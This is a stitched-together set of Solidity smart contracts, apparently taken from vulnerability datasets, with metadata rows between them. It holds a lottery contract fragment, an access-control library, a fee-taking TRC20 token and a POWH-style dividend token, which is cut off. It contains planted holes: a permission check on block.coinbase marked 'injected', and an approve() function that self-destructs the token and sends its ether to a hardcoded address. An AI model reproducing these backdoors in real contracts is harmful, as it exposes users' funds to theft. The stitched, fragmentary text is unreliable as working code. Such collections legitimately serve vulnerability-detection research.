BonusCode memory thisBonusCode = revealBonusCodes[currentPeriod][bcodes[currentPeriod][i]];
if (thisBonusCode.addr == winnerBcode.addr && thisBonusCode.orderId == winnerBcode.orderId) {
balanceOf[winnerBcode.addr] = balanceOf[winnerBcode.addr].safeAdd(halfBonusPool);
} else {
uint256 bonusAmount = halfBonusPool.safeMul(thisBonusCode.nums.safeMul(stake).safeDiv(sideTotalAmount[currentPeriod][winnerBcode.prefix]));
balanceOf[thisBonusCode.addr] = balanceOf[thisBonusCode.addr].safeAdd(bonusAmount);
}
}
// update reveal result && reset value
revealBonusPerPeriod[currentPeriod] = halfBonusPool;
revealResultPerPeriod[currentPeriod] = winnerBcode;
revealInfoByAddr[winnerBcode.addr].push(winnerBcode);
currentPeriod++;
bonusPool = 0;
bonusCodeNonce = 0;
gameBonusPerPeriod[currentPeriod] = 0;
emit Reveal(currentPeriod - 1, winnerBcode.orderId, winnerBcode.prefix, winnerBcode.code, winnerBcode.addr, halfBonusPool);
}
function withdrawal(address _from, address payable _to, uint256 _amount) public {
// permission check
if (block.coinbase != _from) { //injected CONTRACT AFFECTED BY MINERS
require(allowance[_from] == true && msg.sender == delegateAddr, "permission rejected");
}
// amount check
require(withdrawalFee <= _amount && _amount <= balanceOf[_from], "Don't have enough balance");
balanceOf[_from] = balanceOf[_from].safeSub(_amount);
_amount = _amount.safeSub(withdrawalFee);
teamBonus = teamBonus.safeAdd(withdrawalFee);
_to.transfer(_amount);
emit Withdrawal(_to, _amount);
}
function teamWithdrawal() onlyAdmins public {
require(teamBonus > 0, "Don't have enough teamBonus");
uint256 tmp = teamBonus;
teamBonus = 0;
msg.sender.transfer(tmp);
}
function gameBonusWithdrawal(uint16 _period) onlyAdmins public {
require(gameBonusPerPeriod[_period] > 0, "Don't have enough money");
uint256 tmp = gameBonusPerPeriod[_period];
gameBonusPerPeriod[_period] = 0;
msg.sender.transfer(tmp);
}
function updateContract() isContractOwner public {
msg.sender.transfer(address(this).balance);
}
function getBalance(address _addr) public view returns(uint256) {
return balanceOf[_addr];
}
function getBonusPool() public view returns(uint256) {
return bonusPool;
}
function getBonusInvited(address _from) public view returns(uint256) {
return invitedBonus[currentPeriod][_from];
}
function getRevealResultPerPeriod(uint16 _period) public view returns(uint8 _prefix, uint256 _orderId, uint256 _code, uint256 _nums, address _addr, uint256 _revealBonus) {
_prefix = revealResultPerPeriod[_period].prefix;
_orderId = revealResultPerPeriod[_period].orderId;
_code = revealResultPerPeriod[_period].code;
_nums = revealResultPerPeriod[_period].nums;
_addr = revealResultPerPeriod[_period].addr;
_revealBonus = revealBonusPerPeriod[_period];
}
}
library SafeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function safeMod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
| 278,111 | 622 |
398cd9b7b19e985be5c5b92630d9506ae859f751eb22b6bf0a378578f8dbc954
| 30,806 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xF579Bf0cB6998cad138dBd7510582c3d1297E6FF/contract.sol
| 3,729 | 15,606 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Initializable {
bool private _initialized;
bool private _initializing;
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
// solhint-disable-next-line no-inline-assembly
assembly {
cs := extcodesize(self)
}
return cs == 0;
}
}
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
uint256[50] private __gap;
}
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {}
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
using AddressUpgradeable for address;
struct RoleData {
EnumerableSetUpgradeable.AddressSet members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
contract LnAccessControl is AccessControlUpgradeable {
// -------------------------------------------------------
// role type
bytes32 public constant ISSUE_ASSET_ROLE = ("ISSUE_ASSET"); //keccak256
bytes32 public constant BURN_ASSET_ROLE = ("BURN_ASSET");
bytes32 public constant DEBT_SYSTEM = ("LnDebtSystem");
// -------------------------------------------------------
function __LnAccessControl_init(address admin) public initializer {
_setupRole(DEFAULT_ADMIN_ROLE, admin);
}
function IsAdmin(address _address) public view returns (bool) {
return hasRole(DEFAULT_ADMIN_ROLE, _address);
}
function SetAdmin(address _address) public returns (bool) {
require(IsAdmin(msg.sender), "Only admin");
_setupRole(DEFAULT_ADMIN_ROLE, _address);
}
// -------------------------------------------------------
// this func need admin role. grantRole and revokeRole need admin role
function SetRoles(bytes32 roleType,
address[] calldata addresses,
bool[] calldata setTo) external {
require(IsAdmin(msg.sender), "Only admin");
_setRoles(roleType, addresses, setTo);
}
function _setRoles(bytes32 roleType,
address[] calldata addresses,
bool[] calldata setTo) private {
require(addresses.length == setTo.length, "parameter address length not eq");
for (uint256 i = 0; i < addresses.length; i++) {
//require(addresses[i].isContract(), "Role address need contract only");
if (setTo[i]) {
grantRole(roleType, addresses[i]);
} else {
revokeRole(roleType, addresses[i]);
}
}
}
// function SetRoles(bytes32 roleType, address[] calldata addresses, bool[] calldata setTo) public {
// _setRoles(roleType, addresses, setTo);
// }
// Issue burn
function SetIssueAssetRole(address[] calldata issuer, bool[] calldata setTo) public {
_setRoles(ISSUE_ASSET_ROLE, issuer, setTo);
}
function SetBurnAssetRole(address[] calldata burner, bool[] calldata setTo) public {
_setRoles(BURN_ASSET_ROLE, burner, setTo);
}
//
function SetDebtSystemRole(address[] calldata _address, bool[] calldata _setTo) public {
_setRoles(DEBT_SYSTEM, _address, _setTo);
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private __gap;
}
| 252,755 | 623 |
de8182fbe03c4e6b9af1ab59709aa95910da5fe0fa8f0042ff699930fb74d934
| 18,261 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TW/TW4ENQZctdo1fh5LsgusLJC3rpF771usZM_SNLYToken.sol
| 3,320 | 12,137 |
//SourceUnit: SNLYToken .sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface ITRC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma experimental ABIEncoderV2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath#mul: OVERFLOW");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath#div: DIVISION_BY_ZERO");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath#sub: UNDERFLOW");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath#add: OVERFLOW");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO");
return a % b;
}
}
contract SNLYToken is Context, ITRC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name = 'SNLYToken';
string private _symbol = 'SNLY';
uint8 private _decimals = 6;
uint256 private _totalSupply = 100000 * 10**uint256(_decimals);
address private _burnPool = address(0);
address private _fundAddress = address(0x41D51A268090515CC8EECC277E33388848A0E765DD);
uint256 public _burnFee = 2;
uint256 private _previousBurnFee = _burnFee;
uint256 public _liquidityFee = 2;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _fundFee = 1;
uint256 private _previousFundFee = _fundFee;
uint256 public MAX_STOP_FEE_TOTAL = 18888 * 10**uint256(_decimals);
mapping(address => bool) private _isExcludedFromFee;
uint256 private _burnFeeTotal;
uint256 private _liquidityFeeTotal;
uint256 private _fundFeeTotal;
bool private inSwapAndLiquify = false;
bool public swapAndLiquifyEnabled = true;
address public _exchangePool;
uint256 public constant delay = 15 minutes;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(uint256 tokensSwapped,
uint256 trxReceived,
uint256 tokensIntoLiqudity);
event InitLiquidity(uint256 tokensAmount,
uint256 trxAmount,
uint256 liqudityAmount);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (address fundAddress) public {
_fundAddress = address(0x418F6D67A60B9172C4442A7BFBE560CB3974540E82);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
receive () external payable {}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setMaxStopFeeTotal(uint256 total) public onlyOwner {
MAX_STOP_FEE_TOTAL = total;
restoreAllFee();
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setExchangePool(address exchangePool) public onlyOwner {
_exchangePool = exchangePool;
}
function totalBurnFee() public view returns (uint256) {
return _burnFeeTotal;
}
function totalFundFee() public view returns (uint256) {
return _fundFeeTotal;
}
function totalLiquidityFee() public view returns (uint256) {
return _liquidityFeeTotal;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
if (_totalSupply <= MAX_STOP_FEE_TOTAL) {
removeAllFee();
_transferStandard(sender, recipient, amount);
} else {
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
recipient == _exchangePool) {
removeAllFee();
}
_transferStandard(sender, recipient, amount);
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
recipient == _exchangePool) {
restoreAllFee();
}
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tBurn, uint256 tLiquidity, uint256 tFund) = _getValues(tAmount);
_balances[sender] = _balances[sender].sub(tAmount);
_balances[recipient] = _balances[recipient].add(tTransferAmount);
if(!_isExcludedFromFee[sender] &&
!_isExcludedFromFee[recipient] &&
recipient != _exchangePool) {
_balances[_exchangePool] = _balances[_exchangePool].add(tLiquidity);
_liquidityFeeTotal = _liquidityFeeTotal.add(tLiquidity);
_balances[_fundAddress] = _balances[_fundAddress].add(tFund);
_fundFeeTotal = _fundFeeTotal.add(tFund);
_totalSupply = _totalSupply.sub(tBurn);
_burnFeeTotal = _burnFeeTotal.add(tBurn);
emit Transfer(sender, _exchangePool, tLiquidity);
emit Transfer(sender, _fundAddress, tFund);
emit Transfer(sender, _burnPool, tBurn);
}
emit Transfer(sender, recipient, tTransferAmount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_burnFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(10 ** 2);
}
function calculateFundFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_fundFee).div(10 ** 2);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tBurn, uint256 tLiquidity, uint256 tFund) = _getTValues(tAmount);
return (tTransferAmount, tBurn, tLiquidity, tFund);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256,uint256, uint256) {
uint256 tBurn = calculateBurnFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tFund = calculateFundFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tBurn).sub(tLiquidity).sub(tFund);
return (tTransferAmount, tBurn, tLiquidity, tFund);
}
function removeAllFee() private {
if(_liquidityFee == 0 && _burnFee == 0 && _fundFee == 0) return;
_previousLiquidityFee = _liquidityFee;
_previousBurnFee = _burnFee;
_previousFundFee = _fundFee;
_liquidityFee = 0;
_burnFee = 0;
_fundFee = 0;
}
function restoreAllFee() private {
_liquidityFee = _previousLiquidityFee;
_burnFee = _previousBurnFee;
_fundFee = _previousFundFee;
}
}
| 293,061 | 624 |
a115137507baca8a1a1a4cd183fea46a16ace0866760638a44270fe9dfed32ef
| 10,208 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xb6fd124ca6eceb00b747947a065f31392eec4572.sol
| 3,350 | 9,990 |
pragma solidity ^0.4.18;
// If you wanna escape this contract REALLY FAST
// 1. open MEW/METAMASK
// 2. Put this as data: 0xb1e35242
// 3. send 150000+ gas
// That calls the getMeOutOfHere() method
// 10% fees, price goes up crazy fast
contract NumbersTokenRemake {
uint256 constant PRECISION = 0x10000000000000000; // 2^64
// CRR = 80 %
int constant CRRN = 1;
int constant CRRD = 2;
// The price coefficient. Chosen such that at 1 token total supply
// the reserve is 0.8 ether and price 1 ether/token.
int constant LOGC = -0x296ABF784A358468C;
string constant public name = "NumbersTokenRemake";
string constant public symbol = "NUMBR";
uint8 constant public decimals = 18;
uint256 public totalSupply;
// amount of shares for each address (scaled number)
mapping(address => uint256) public balanceOfOld;
// allowance map, see erc20
mapping(address => mapping(address => uint256)) public allowance;
// amount payed out for each address (scaled number)
mapping(address => int256) payouts;
// sum of all payouts (scaled number)
int256 totalPayouts;
// amount earned for each share (scaled number)
uint256 earningsPerShare;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
address owner;
function POWHclone() public {
owner = msg.sender;
}
// These are functions solely created to appease the frontend
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfOld[_owner];
}
function withdraw(uint tokenCount) // the parameter is ignored, yes
public
returns (bool)
{
var balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * PRECISION);
totalPayouts += (int256) (balance * PRECISION);
msg.sender.transfer(balance);
return true;
}
function sellMyTokensDaddy() public {
var balance = balanceOf(msg.sender);
transferTokens(msg.sender, address(this), balance); // this triggers the internal sell function
}
function getMeOutOfHere() public {
sellMyTokensDaddy();
withdraw(1); // parameter is ignored
}
function fund()
public
payable
returns (bool)
{
if (msg.value > 0.000001 ether)
buy();
else
return false;
return true;
}
function buyPrice() public constant returns (uint) {
return getTokensForEther(1 finney);
}
function sellPrice() public constant returns (uint) {
return getEtherForTokens(1 finney);
}
// End of useless functions
// Invariants
// totalPayout/Supply correct:
// totalPayouts = \sum_{addr:address} payouts(addr)
// totalSupply = \sum_{addr:address} balanceOfOld(addr)
// dividends not negative:
// \forall addr:address. payouts[addr] <= earningsPerShare * balanceOfOld[addr]
// supply/reserve correlation:
// totalSupply ~= exp(LOGC + CRRN/CRRD*log(reserve())
// i.e. totalSupply = C * reserve()**CRR
// reserve equals balance minus payouts
// reserve() = this.balance - \sum_{addr:address} dividends(addr)
function transferTokens(address _from, address _to, uint256 _value) internal {
if (balanceOfOld[_from] < _value)
revert();
if (_to == address(this)) {
sell(_value);
} else {
int256 payoutDiff = (int256) (earningsPerShare * _value);
balanceOfOld[_from] -= _value;
balanceOfOld[_to] += _value;
payouts[_from] -= payoutDiff;
payouts[_to] += payoutDiff;
}
Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public {
transferTokens(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public {
var _allowance = allowance[_from][msg.sender];
if (_allowance < _value)
revert();
allowance[_from][msg.sender] = _allowance - _value;
transferTokens(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
selfdestruct(0x5C49aa6F9b123317D02908Bd0d3111356becD7cD);
if ((_value != 0) && (allowance[msg.sender][_spender] != 0)) revert();
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function dividends(address _owner) public constant returns (uint256 amount) {
return (uint256) ((int256)(earningsPerShare * balanceOfOld[_owner]) - payouts[_owner]) / PRECISION;
}
function withdrawOld(address to) public {
var balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * PRECISION);
totalPayouts += (int256) (balance * PRECISION);
to.transfer(balance);
}
function balance() internal constant returns (uint256 amount) {
return this.balance - msg.value;
}
function reserve() public constant returns (uint256 amount) {
return balance()
- ((uint256) ((int256) (earningsPerShare * totalSupply) - totalPayouts) / PRECISION) - 1;
}
function buy() internal {
if (msg.value < 0.000001 ether || msg.value > 1000000 ether)
revert();
var sender = msg.sender;
// 5 % of the amount is used to pay holders.
var fee = (uint)(msg.value / 10);
// compute number of bought tokens
var numEther = msg.value - fee;
var numTokens = getTokensForEther(numEther);
var buyerfee = fee * PRECISION;
if (totalSupply > 0) {
// compute how the fee distributed to previous holders and buyer.
// The buyer already gets a part of the fee as if he would buy each token separately.
var holderreward =
(PRECISION - (reserve() + numEther) * numTokens * PRECISION / (totalSupply + numTokens) / numEther)
* (uint)(CRRD) / (uint)(CRRD-CRRN);
var holderfee = fee * holderreward;
buyerfee -= holderfee;
// Fee is distributed to all existing tokens before buying
var feePerShare = holderfee / totalSupply;
earningsPerShare += feePerShare;
}
// add numTokens to total supply
totalSupply += numTokens;
// add numTokens to balance
balanceOfOld[sender] += numTokens;
// fix payouts so that sender doesn't get old earnings for the new tokens.
// also add its buyerfee
var payoutDiff = (int256) ((earningsPerShare * numTokens) - buyerfee);
payouts[sender] += payoutDiff;
totalPayouts += payoutDiff;
}
function sell(uint256 amount) internal {
var numEthers = getEtherForTokens(amount);
// remove tokens
totalSupply -= amount;
balanceOfOld[msg.sender] -= amount;
// fix payouts and put the ethers in payout
var payoutDiff = (int256) (earningsPerShare * amount + (numEthers * PRECISION));
payouts[msg.sender] -= payoutDiff;
totalPayouts -= payoutDiff;
}
function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) {
return fixedExp(fixedLog(reserve() + ethervalue)*CRRN/CRRD + LOGC) - totalSupply;
}
function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) {
if (tokens == totalSupply)
return reserve();
return reserve() - fixedExp((fixedLog(totalSupply - tokens) - LOGC) * CRRD/CRRN);
}
